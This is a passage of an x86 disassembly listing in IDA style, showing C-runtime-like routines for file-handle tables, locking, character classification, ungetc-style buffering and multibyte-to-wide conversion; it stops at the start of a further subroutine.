; =============== S U B	R O U T	I N E =======================================



sub_418848	proc near		; CODE XREF: sub_41224C+7Bp
					; sub_418779+6Bp
		call	eax
		retn
sub_418848	endp


; =============== S U B	R O U T	I N E =======================================



sub_41884B	proc near		; CODE XREF: sub_417C3F+2BBp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		push	esi
		push	edi
		jl	short loc_4188AF
		cmp	eax, dword_433BE4
		jnb	short loc_4188AF
		mov	esi, eax
		and	esi, 1Fh
		imul	esi, 28h
		mov	ecx, eax
		sar	ecx, 5
		lea	edi, ds:433C00h[ecx*4]
		mov	ecx, [edi]
		cmp	dword ptr [esi+ecx], 0FFFFFFFFh
		jnz	short loc_4188AF
		cmp	dword_423060, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_4188A5
		sub	eax, 0
		jz	short loc_41889C
		dec	eax
		jz	short loc_418897
		dec	eax
		jnz	short loc_4188A5
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41889F
; ---------------------------------------------------------------------------

loc_418897:				; CODE XREF: sub_41884B+42j
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41889F
; ---------------------------------------------------------------------------

loc_41889C:				; CODE XREF: sub_41884B+3Fj
		push	ebx
		push	0FFFFFFF6h

loc_41889F:				; CODE XREF: sub_41884B+4Aj
					; sub_41884B+4Fj
		call	ds:off_41E0A8

loc_4188A5:				; CODE XREF: sub_41884B+3Aj
					; sub_41884B+45j
		mov	eax, [edi]
		mov	[esi+eax], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_4188C5
; ---------------------------------------------------------------------------

loc_4188AF:				; CODE XREF: sub_41884B+8j
					; sub_41884B+10j ...
		call	sub_40F7D4
		mov	dword ptr [eax], 9
		call	sub_40F7E7
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh

loc_4188C5:				; CODE XREF: sub_41884B+62j
		pop	edi
		pop	esi
		retn
sub_41884B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4188C8	proc near		; CODE XREF: sub_4126D1+62p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		cmp	ecx, ebx
		push	esi
		push	edi
		jl	short loc_418930
		cmp	ecx, dword_433BE4
		jnb	short loc_418930
		mov	esi, ecx
		and	esi, 1Fh
		imul	esi, 28h
		mov	eax, ecx
		sar	eax, 5
		lea	edi, ds:433C00h[eax*4]
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_418930
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_418930
		cmp	dword_423060, 1
		jnz	short loc_418926
		sub	ecx, ebx
		jz	short loc_41891D
		dec	ecx
		jz	short loc_418918
		dec	ecx
		jnz	short loc_418926
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_418920
; ---------------------------------------------------------------------------

loc_418918:				; CODE XREF: sub_4188C8+46j
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_418920
; ---------------------------------------------------------------------------

loc_41891D:				; CODE XREF: sub_4188C8+43j
		push	ebx
		push	0FFFFFFF6h

loc_418920:				; CODE XREF: sub_4188C8+4Ej
					; sub_4188C8+53j
		call	ds:off_41E0A8

loc_418926:				; CODE XREF: sub_4188C8+3Fj
					; sub_4188C8+49j
		mov	eax, [edi]
		or	dword ptr [esi+eax], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_418945
; ---------------------------------------------------------------------------

loc_418930:				; CODE XREF: sub_4188C8+Bj
					; sub_4188C8+13j ...
		call	sub_40F7D4
		mov	dword ptr [eax], 9
		call	sub_40F7E7
		mov	[eax], ebx
		or	eax, 0FFFFFFFFh

loc_418945:				; CODE XREF: sub_4188C8+66j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4188C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_418949	proc near		; CODE XREF: sub_4126D1+7p
					; sub_4126D1+2Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_418969
		call	sub_40F7E7
		and	dword ptr [eax], 0
		call	sub_40F7D4
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_418969:				; CODE XREF: sub_418949+7j
		push	esi
		xor	esi, esi
		cmp	eax, esi
		jl	short loc_418992
		cmp	eax, dword_433BE4
		jnb	short loc_418992
		mov	ecx, eax
		and	eax, 1Fh
		imul	eax, 28h
		sar	ecx, 5
		mov	ecx, dword_433C00[ecx*4]
		add	eax, ecx
		test	byte ptr [eax+4], 1
		jnz	short loc_4189B6

loc_418992:				; CODE XREF: sub_418949+25j
					; sub_418949+2Dj
		call	sub_40F7E7
		mov	[eax], esi
		call	sub_40F7D4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 9
		call	sub_40CB08
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4189B6:				; CODE XREF: sub_418949+47j
		mov	eax, [eax]
		pop	esi
		retn
sub_418949	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4189BA	proc near		; CODE XREF: sub_412765+7Fp
					; sub_4140C6+7Fp ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_421E78
		call	__SEH_prolog4
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		sar	eax, 5
		mov	esi, edi
		and	esi, 1Fh
		imul	esi, 28h
		add	esi, dword_433C00[eax*4]
		mov	[ebp+var_1C], 1
		xor	ebx, ebx
		cmp	[esi+8], ebx
		jnz	short loc_418A21
		push	0Ah
		call	sub_40F9F7
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		cmp	[esi+8], ebx
		jnz	short loc_418A15
		push	0FA0h
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_416874
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_418A12
		mov	[ebp+var_1C], ebx

loc_418A12:				; CODE XREF: sub_4189BA+53j
		inc	dword ptr [esi+8]

loc_418A15:				; CODE XREF: sub_4189BA+3Fj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_418A51

loc_418A21:				; CODE XREF: sub_4189BA+2Fj
		cmp	[ebp+var_1C], ebx
		jz	short loc_418A43
		mov	eax, edi
		sar	eax, 5
		and	edi, 1Fh
		imul	edi, 28h
		mov	eax, dword_433C00[eax*4]
		lea	eax, [eax+edi+0Ch]
		push	eax
		call	ds:dword_41E150	; RtlEnterCriticalSection

loc_418A43:				; CODE XREF: sub_4189BA+6Aj
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_4189BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A4C	proc near		; DATA XREF: r69pu5ti:00421E90o
		xor	ebx, ebx
		mov	edi, [ebp+8]
sub_418A4C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_418A51	proc near		; CODE XREF: sub_4189BA+62p
		push	0Ah
		call	sub_40F91F
		pop	ecx
		retn
sub_418A51	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A5A	proc near		; CODE XREF: sub_412828+3p
					; sub_414198+3p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		and	eax, 1Fh
		imul	eax, 28h
		sar	ecx, 5
		mov	ecx, dword_433C00[ecx*4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	ds:dword_41E154	; RtlLeaveCriticalSection
		retn
sub_418A5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A7C	proc near		; CODE XREF: sub_417C3F:loc_417E35p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

; FUNCTION CHUNK AT 00418B58 SIZE 000000BA BYTES

		push	18h
		push	offset dword_421E98
		call	__SEH_prolog4
		or	[ebp+var_1C], 0FFFFFFFFh
		xor	edi, edi
		mov	[ebp+var_24], edi
		push	0Bh
		call	sub_40F934
		pop	ecx
		test	eax, eax
		jnz	short loc_418AA5
		or	eax, 0FFFFFFFFh
		jmp	loc_418C0C
; ---------------------------------------------------------------------------

loc_418AA5:				; CODE XREF: sub_418A7C+1Fj
		push	0Bh
		call	sub_40F9F7
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi

loc_418AB0:				; CODE XREF: sub_418A7C+109j
		mov	[ebp+var_28], edi
		cmp	edi, 40h
		jge	loc_418BFD
		mov	esi, dword_433C00[edi*4]
		test	esi, esi
		jz	loc_418B8A

loc_418ACB:				; CODE XREF: sub_418A7C+CBj
		mov	[ebp+var_20], esi
		mov	eax, dword_433C00[edi*4]
		add	eax, 500h
		cmp	esi, eax
		jnb	loc_418B7E
		test	byte ptr [esi+4], 1
		jnz	short loc_418B44
		cmp	dword ptr [esi+8], 0
		jnz	short loc_418B27
		push	0Ah
		call	sub_40F9F7
		pop	ecx
		xor	ebx, ebx
		inc	ebx
		mov	[ebp+ms_exc.disabled], ebx
		cmp	dword ptr [esi+8], 0
		jnz	short loc_418B1E
		push	0FA0h
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_416874
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_418B1B
		mov	[ebp+var_24], ebx
		jmp	short loc_418B1E
; ---------------------------------------------------------------------------

loc_418B1B:				; CODE XREF: sub_418A7C+98j
		inc	dword ptr [esi+8]

loc_418B1E:				; CODE XREF: sub_418A7C+84j
					; sub_418A7C+9Dj
		and	[ebp+ms_exc.disabled], 0
		call	sub_418B4F

loc_418B27:				; CODE XREF: sub_418A7C+70j
		cmp	[ebp+var_24], 0
		jnz	short loc_418B44
		lea	ebx, [esi+0Ch]
		push	ebx
		call	ds:dword_41E150	; RtlEnterCriticalSection
		test	byte ptr [esi+4], 1
		jz	short loc_418B58
		push	ebx
		call	ds:dword_41E154	; RtlLeaveCriticalSection

loc_418B44:				; CODE XREF: sub_418A7C+6Aj
					; sub_418A7C+AFj ...
		add	esi, 28h
		jmp	short loc_418ACB
sub_418A7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B49	proc near		; DATA XREF: r69pu5ti:00421EBCo
		mov	edi, [ebp-28h]
		mov	esi, [ebp-20h]
sub_418B49	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_418B4F	proc near		; CODE XREF: sub_418A7C+A6p
		push	0Ah
		call	sub_40F91F
		pop	ecx
		retn
sub_418B4F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_418A7C

loc_418B58:				; CODE XREF: sub_418A7C+BFj
		cmp	[ebp+var_24], 0
		jnz	short loc_418B44
		mov	byte ptr [esi+4], 1
		or	dword ptr [esi], 0FFFFFFFFh
		mov	eax, esi
		sub	eax, dword_433C00[edi*4]
		cdq
		push	28h
		pop	ecx
		idiv	ecx
		mov	ecx, edi
		shl	ecx, 5
		add	eax, ecx
		mov	[ebp+var_1C], eax

loc_418B7E:				; CODE XREF: sub_418A7C+60j
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jnz	short loc_418BFD
		inc	edi
		jmp	loc_418AB0
; ---------------------------------------------------------------------------

loc_418B8A:				; CODE XREF: sub_418A7C+49j
		push	28h
		push	20h
		call	sub_41187A
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		test	eax, eax
		jz	short loc_418BFD
		lea	ecx, ds:433C00h[edi*4]
		mov	[ecx], eax
		add	dword_433BE4, 20h

loc_418BAC:				; CODE XREF: sub_418A7C+151j
		mov	edx, [ecx]
		add	edx, 500h
		cmp	eax, edx
		jnb	short loc_418BCF
		mov	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		and	dword ptr [eax+8], 0
		add	eax, 28h
		mov	[ebp+var_20], eax
		jmp	short loc_418BAC
; ---------------------------------------------------------------------------

loc_418BCF:				; CODE XREF: sub_418A7C+13Aj
		shl	edi, 5
		mov	[ebp+var_1C], edi
		mov	eax, edi
		sar	eax, 5
		mov	ecx, edi
		and	ecx, 1Fh
		imul	ecx, 28h
		mov	eax, dword_433C00[eax*4]
		mov	byte ptr [eax+ecx+4], 1
		push	edi
		call	sub_4189BA
		pop	ecx
		test	eax, eax
		jnz	short loc_418BFD
		or	[ebp+var_1C], 0FFFFFFFFh

loc_418BFD:				; CODE XREF: sub_418A7C+3Aj
					; sub_418A7C+106j ...
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_418C12
		mov	eax, [ebp+var_1C]

loc_418C0C:				; CODE XREF: sub_418A7C+24j
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_418A7C

; =============== S U B	R O U T	I N E =======================================



sub_418C12	proc near		; CODE XREF: sub_418A7C+188p
					; DATA XREF: r69pu5ti:00421EB0o
		push	0Bh
		call	sub_40F91F
		pop	ecx
		retn
sub_418C12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C1B	proc near		; CODE XREF: sub_4128C0+31p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	10h
		push	offset dword_421EC0
		call	__SEH_prolog4
		mov	eax, [ebp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_418C42
		call	sub_40F7D4
		mov	dword ptr [eax], 9

loc_418C3A:				; CODE XREF: sub_418C1B+4Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_418CEC
; ---------------------------------------------------------------------------

loc_418C42:				; CODE XREF: sub_418C1B+12j
		xor	ebx, ebx
		cmp	eax, ebx
		jl	short loc_418C50
		cmp	eax, dword_433BE4
		jb	short loc_418C6A

loc_418C50:				; CODE XREF: sub_418C1B+2Bj
					; sub_418C1B+6Dj
		call	sub_40F7D4
		mov	dword ptr [eax], 9
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40CB08
		add	esp, 14h
		jmp	short loc_418C3A
; ---------------------------------------------------------------------------

loc_418C6A:				; CODE XREF: sub_418C1B+33j
		mov	ecx, eax
		sar	ecx, 5
		lea	edi, ds:433C00h[ecx*4]
		mov	esi, eax
		and	esi, 1Fh
		imul	esi, 28h
		mov	ecx, [edi]
		movzx	ecx, byte ptr [esi+ecx+4]
		and	ecx, 1
		jz	short loc_418C50
		push	eax
		call	sub_4189BA
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		mov	eax, [edi]
		test	byte ptr [esi+eax+4], 1
		jz	short loc_418CCE
		push	[ebp+arg_0]
		call	sub_418949
		pop	ecx
		push	eax
		call	ds:off_41E0A4
		test	eax, eax
		jnz	short loc_418CBC
		call	ds:dword_41E0D8	; RtlGetLastWin32Error
		mov	[ebp+var_1C], eax
		jmp	short loc_418CBF
; ---------------------------------------------------------------------------

loc_418CBC:				; CODE XREF: sub_418C1B+94j
		mov	[ebp+var_1C], ebx

loc_418CBF:				; CODE XREF: sub_418C1B+9Fj
		cmp	[ebp+var_1C], ebx
		jz	short loc_418CDD
		call	sub_40F7E7
		mov	ecx, [ebp+var_1C]
		mov	[eax], ecx

loc_418CCE:				; CODE XREF: sub_418C1B+80j
		call	sub_40F7D4
		mov	dword ptr [eax], 9
		or	[ebp+var_1C], 0FFFFFFFFh

loc_418CDD:				; CODE XREF: sub_418C1B+A7j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_418CF2
		mov	eax, [ebp+var_1C]

loc_418CEC:				; CODE XREF: sub_418C1B+22j
		call	__SEH_epilog4
		retn
sub_418C1B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418CF2	proc near		; CODE XREF: sub_418C1B+C9p
					; DATA XREF: r69pu5ti:00421ED8o
		push	dword ptr [ebp+8]
		call	sub_418A5A
		pop	ecx
		retn
sub_418CF2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418CFC	proc near		; CODE XREF: sub_418D4B+21p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_10]
		call	sub_40AB59
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax+0ACh], 1
		jle	short loc_418D2C
		lea	eax, [ebp+var_10]
		push	eax
		push	4
		push	[ebp+arg_0]
		call	sub_4167A4
		add	esp, 0Ch
		jmp	short loc_418D3C
; ---------------------------------------------------------------------------

loc_418D2C:				; CODE XREF: sub_418CFC+1Bj
		mov	eax, [eax+0C8h]
		mov	ecx, [ebp+arg_0]
		movzx	eax, byte ptr [eax+ecx*2]
		and	eax, 4

loc_418D3C:				; CODE XREF: sub_418CFC+2Ej
		cmp	[ebp+var_4], 0
		jz	short locret_418D49
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_418D49:				; CODE XREF: sub_418CFC+44j
		leave
		retn
sub_418CFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D4B	proc near		; CODE XREF: sub_412A74+1B6p
					; sub_412A74+3EFp ...

arg_0		= dword	ptr  4

		cmp	dword_425E60, 0
		jnz	short loc_418D66
		mov	eax, [esp+arg_0]
		mov	ecx, off_423668
		movzx	eax, byte ptr [ecx+eax*2]
		and	eax, 4
		retn
; ---------------------------------------------------------------------------

loc_418D66:				; CODE XREF: sub_418D4B+7j
		push	0
		push	[esp+4+arg_0]
		call	sub_418CFC
		pop	ecx
		pop	ecx
		retn
sub_418D4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418D74	proc near		; CODE XREF: sub_418DC8+23p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_10]
		call	sub_40AB59
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax+0ACh], 1
		jle	short loc_418DA7
		lea	eax, [ebp+var_10]
		push	eax
		push	80h
		push	[ebp+arg_0]
		call	sub_4167A4
		add	esp, 0Ch
		jmp	short loc_418DB9
; ---------------------------------------------------------------------------

loc_418DA7:				; CODE XREF: sub_418D74+1Bj
		mov	eax, [eax+0C8h]
		mov	ecx, [ebp+arg_0]
		movzx	eax, byte ptr [eax+ecx*2]
		and	eax, 80h

loc_418DB9:				; CODE XREF: sub_418D74+31j
		cmp	[ebp+var_4], 0
		jz	short locret_418DC6
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_418DC6:				; CODE XREF: sub_418D74+49j
		leave
		retn
sub_418D74	endp


; =============== S U B	R O U T	I N E =======================================



sub_418DC8	proc near		; CODE XREF: sub_412A74+9DFp
					; sub_412A74+AB7p

arg_0		= dword	ptr  4

		cmp	dword_425E60, 0
		jnz	short loc_418DE5
		mov	eax, [esp+arg_0]
		mov	ecx, off_423668
		movzx	eax, byte ptr [ecx+eax*2]
		and	eax, 80h
		retn
; ---------------------------------------------------------------------------

loc_418DE5:				; CODE XREF: sub_418DC8+7j
		push	0
		push	[esp+4+arg_0]
		call	sub_418D74
		pop	ecx
		pop	ecx
		retn
sub_418DC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DF3	proc near		; CODE XREF: sub_418E42+21p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_10]
		call	sub_40AB59
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax+0ACh], 1
		jle	short loc_418E23
		lea	eax, [ebp+var_10]
		push	eax
		push	8
		push	[ebp+arg_0]
		call	sub_4167A4
		add	esp, 0Ch
		jmp	short loc_418E33
; ---------------------------------------------------------------------------

loc_418E23:				; CODE XREF: sub_418DF3+1Bj
		mov	eax, [eax+0C8h]
		mov	ecx, [ebp+arg_0]
		movzx	eax, byte ptr [eax+ecx*2]
		and	eax, 8

loc_418E33:				; CODE XREF: sub_418DF3+2Ej
		cmp	[ebp+var_4], 0
		jz	short locret_418E40
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_418E40:				; CODE XREF: sub_418DF3+44j
		leave
		retn
sub_418DF3	endp


; =============== S U B	R O U T	I N E =======================================



sub_418E42	proc near		; CODE XREF: sub_412A4F+17p
					; sub_412A74+13Cp ...

arg_0		= dword	ptr  4

		cmp	dword_425E60, 0
		jnz	short loc_418E5D
		mov	eax, [esp+arg_0]
		mov	ecx, off_423668
		movzx	eax, byte ptr [ecx+eax*2]
		and	eax, 8
		retn
; ---------------------------------------------------------------------------

loc_418E5D:				; CODE XREF: sub_418E42+7j
		push	0
		push	[esp+4+arg_0]
		call	sub_418DF3
		pop	ecx
		pop	ecx
		retn
sub_418E42	endp


; =============== S U B	R O U T	I N E =======================================



sub_418E6B	proc near		; CODE XREF: sub_412A74+15Ep
					; sub_412A74+5BEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_4]
		or	ebp, 0FFFFFFFFh
		test	byte ptr [esi+0Ch], 40h
		push	edi
		jnz	loc_418F28
		push	esi
		call	sub_4126A4
		cmp	eax, ebp
		pop	ecx
		mov	ebx, offset dword_423BB8
		jz	short loc_418EBE
		push	esi
		call	sub_4126A4
		cmp	eax, 0FFFFFFFEh
		pop	ecx
		jz	short loc_418EBE
		push	esi
		call	sub_4126A4
		sar	eax, 5
		push	esi
		lea	edi, ds:433C00h[eax*4]
		call	sub_4126A4
		and	eax, 1Fh
		imul	eax, 28h
		add	eax, [edi]
		pop	ecx
		pop	ecx
		jmp	short loc_418EC0
; ---------------------------------------------------------------------------

loc_418EBE:				; CODE XREF: sub_418E6B+23j
					; sub_418E6B+2Fj
		mov	eax, ebx

loc_418EC0:				; CODE XREF: sub_418E6B+51j
		test	byte ptr [eax+24h], 7Fh
		jnz	short loc_418F07
		push	esi
		call	sub_4126A4
		cmp	eax, ebp
		pop	ecx
		jz	short loc_418EFF
		push	esi
		call	sub_4126A4
		cmp	eax, 0FFFFFFFEh
		pop	ecx
		jz	short loc_418EFF
		push	esi
		call	sub_4126A4
		sar	eax, 5
		push	esi
		lea	edi, ds:433C00h[eax*4]
		call	sub_4126A4
		and	eax, 1Fh
		imul	eax, 28h
		add	eax, [edi]
		pop	ecx
		pop	ecx
		jmp	short loc_418F01
; ---------------------------------------------------------------------------

loc_418EFF:				; CODE XREF: sub_418E6B+64j
					; sub_418E6B+70j
		mov	eax, ebx

loc_418F01:				; CODE XREF: sub_418E6B+92j
		test	byte ptr [eax+24h], 80h
		jz	short loc_418F28

loc_418F07:				; CODE XREF: sub_418E6B+59j
		call	sub_40F7D4
		xor	edi, edi
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h

loc_418F21:				; CODE XREF: sub_418E6B+C3j
					; sub_418E6B+CEj ...
		mov	eax, ebp

loc_418F23:				; CODE XREF: sub_418E6B+11Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_418F28:				; CODE XREF: sub_418E6B+Fj
					; sub_418E6B+9Aj
		mov	ebx, [esp+10h+arg_0]
		cmp	ebx, ebp
		jz	short loc_418F21
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_418F3F
		test	al, al
		jns	short loc_418F21
		test	al, 2
		jnz	short loc_418F21

loc_418F3F:				; CODE XREF: sub_418E6B+CAj
		xor	edi, edi
		cmp	[esi+8], edi
		jnz	short loc_418F4D
		push	esi
		call	sub_41725C
		pop	ecx

loc_418F4D:				; CODE XREF: sub_418E6B+D9j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_418F5C
		cmp	[esi+4], edi
		jnz	short loc_418F21
		inc	eax
		mov	[esi], eax

loc_418F5C:				; CODE XREF: sub_418E6B+E7j
		dec	dword ptr [esi]
		test	byte ptr [esi+0Ch], 40h
		mov	eax, [esi]
		jz	short loc_418F6F
		cmp	[eax], bl
		jz	short loc_418F71
		inc	eax
		mov	[esi], eax
		jmp	short loc_418F21
; ---------------------------------------------------------------------------

loc_418F6F:				; CODE XREF: sub_418E6B+F9j
		mov	[eax], bl

loc_418F71:				; CODE XREF: sub_418E6B+FDj
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	eax, 0FFFFFFEFh
		or	eax, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_418F23
sub_418E6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F89	proc near		; CODE XREF: sub_412A74+6FFp
					; sub_41909C+Ep

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_418FAD
		cmp	[ebp+arg_8], ebx
		jz	short loc_418FAD
		cmp	[esi], bl
		jnz	short loc_418FB3
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_418FAD
		mov	[eax], bx

loc_418FAD:				; CODE XREF: sub_418F89+Fj
					; sub_418F89+14j ...
		xor	eax, eax

loc_418FAF:				; CODE XREF: sub_418F89+5Aj
					; sub_418F89+BBj ...
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_418FB3:				; CODE XREF: sub_418F89+18j
		push	[ebp+arg_C]
		lea	ecx, [ebp+var_10]
		call	sub_40AB59
		mov	eax, [ebp+var_10]
		cmp	[eax+14h], ebx
		jnz	short loc_418FE5
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_418FD4
		movzx	cx, byte ptr [esi]
		mov	[eax], cx

loc_418FD4:				; CODE XREF: sub_418F89+42j
					; sub_418F89+10Bj
		cmp	[ebp+var_4], bl
		jz	short loc_418FE0
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_418FE0:				; CODE XREF: sub_418F89+4Ej
		xor	eax, eax
		inc	eax
		jmp	short loc_418FAF
; ---------------------------------------------------------------------------

loc_418FE5:				; CODE XREF: sub_418F89+3Bj
		lea	eax, [ebp+var_10]
		push	eax
		movzx	eax, byte ptr [esi]
		push	eax
		call	sub_416760
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_419075
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+0ACh]
		cmp	ecx, 1
		jle	short loc_41902B
		cmp	[ebp+arg_8], ecx
		jl	short loc_41902B
		xor	edx, edx
		cmp	[ebp+arg_0], ebx
		setnz	dl
		push	edx
		push	[ebp+arg_0]
		push	ecx
		push	esi
		push	9
		push	dword ptr [eax+4]
		call	ds:dword_41E08C	; MultiByteToWideChar
		test	eax, eax
		mov	eax, [ebp+var_10]
		jnz	short loc_41903B

loc_41902B:				; CODE XREF: sub_418F89+7Bj
					; sub_418F89+80j
		mov	ecx, [ebp+arg_8]
		cmp	ecx, [eax+0ACh]
		jb	short loc_419056
		cmp	[esi+1], bl
		jz	short loc_419056

loc_41903B:				; CODE XREF: sub_418F89+A0j
		cmp	[ebp+var_4], bl
		mov	eax, [eax+0ACh]
		jz	loc_418FAF
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	loc_418FAF
; ---------------------------------------------------------------------------

loc_419056:				; CODE XREF: sub_418F89+ABj
					; sub_418F89+B0j ...
		call	sub_40F7D4
		mov	dword ptr [eax], 2Ah
		cmp	[ebp+var_4], bl
		jz	short loc_41906D
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_41906D:				; CODE XREF: sub_418F89+DBj
		or	eax, 0FFFFFFFFh
		jmp	loc_418FAF
; ---------------------------------------------------------------------------

loc_419075:				; CODE XREF: sub_418F89+6Dj
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_10]
		push	1
		push	esi
		push	9
		push	dword ptr [eax+4]
		call	ds:dword_41E08C	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_418FD4
		jmp	short loc_419056
sub_418F89	endp


; =============== S U B	R O U T	I N E =======================================



sub_41909C	proc near		; CODE XREF: sub_416BBA+18Ep
					; sub_416BBA+1BCp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418F89
		add	esp, 10h
		retn
sub_41909C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4190C0	proc near		; CODE XREF: sub_412A74+9CFp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
